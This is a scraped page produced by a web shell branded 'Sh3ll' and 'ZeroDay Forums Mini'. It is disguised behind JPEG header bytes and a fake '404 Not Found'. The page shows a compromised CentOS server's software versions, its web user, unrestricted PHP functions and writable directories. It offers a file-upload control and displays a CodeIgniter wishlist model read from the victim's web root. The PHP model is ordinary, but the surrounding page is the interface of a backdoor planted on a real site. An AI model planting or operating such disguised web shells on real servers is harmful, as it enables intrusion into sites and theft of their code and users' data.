����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/adimi/application/modules/dashboard/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/adimi/application/modules/dashboard/models/Wishlists.php
<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
class Wishlists extends CI_Model {
	public function __construct()
	{
		parent::__construct();
	}
	//Wishlist List
	public function wishlist_list()
	{
		$this->db->select('a.*,b.product_name,b.product_model,c.first_name,c.last_name');
		$this->db->from('wishlist a');
		$this->db->join('product_information b','b.product_id = a.product_id');
		$this->db->join('users c','c.user_id = a.user_id');
		$this->db->order_by('wishlist_id','desc');
		$query = $this->db->get();
		if ($query->num_rows() > 0) {
			return $query->result_array();	
		}
		return false;
	}
	//wishlist Search Item
	public function wishlist_search_item($wishlist_id)
	{
		$this->db->select('*');
		$this->db->from('wishlist');
		$this->db->where('wishlist_id',$wishlist_id);
		$query = $this->db->get();
		if ($query->num_rows() > 0) {
			return $query->result_array();	
		}
		return false;
	}
	//Count customer
	public function wishlist_entry($data)
	{
		$this->db->select('*');
		$this->db->from('wishlist');
		$this->db->where('status',1);
		$this->db->where('product_id',$data['product_id']);
		$this->db->where('user_id',$data['user_id']);
		$query = $this->db->get();
		if ($query->num_rows() > 0) {
			return FALSE;
		}else{
			$this->db->insert('wishlist',$data);
			return TRUE;
		}
	}
	//Retrieve customer Edit Data
	public function retrieve_wishlist_editdata($wishlist_id)
	{
		$this->db->select('*');
		$this->db->from('wishlist');
		$this->db->where('wishlist_id',$wishlist_id);
		$query = $this->db->get();
		if ($query->num_rows() > 0) {
			return $query->result_array();	
		}
		return false;
	}
	
	//Update Wishlists
	public function update_wishlist($data,$wishlist_id)
	{
		$this->db->set('product_id',$data['product_id']);
		$this->db->where('wishlist_id',$wishlist_id);
		$result = $this->db->update('wishlist',$data);

		if ($result) {
			return true;
		}
		return false;
	}
	// Delete wishlist Item
	public function delete_wishlist($wishlist_id)
	{
		$this->db->where('wishlist_id',$wishlist_id);
		$this->db->delete('wishlist'); 	
		return true;
	}
}

ZeroDay Forums Mini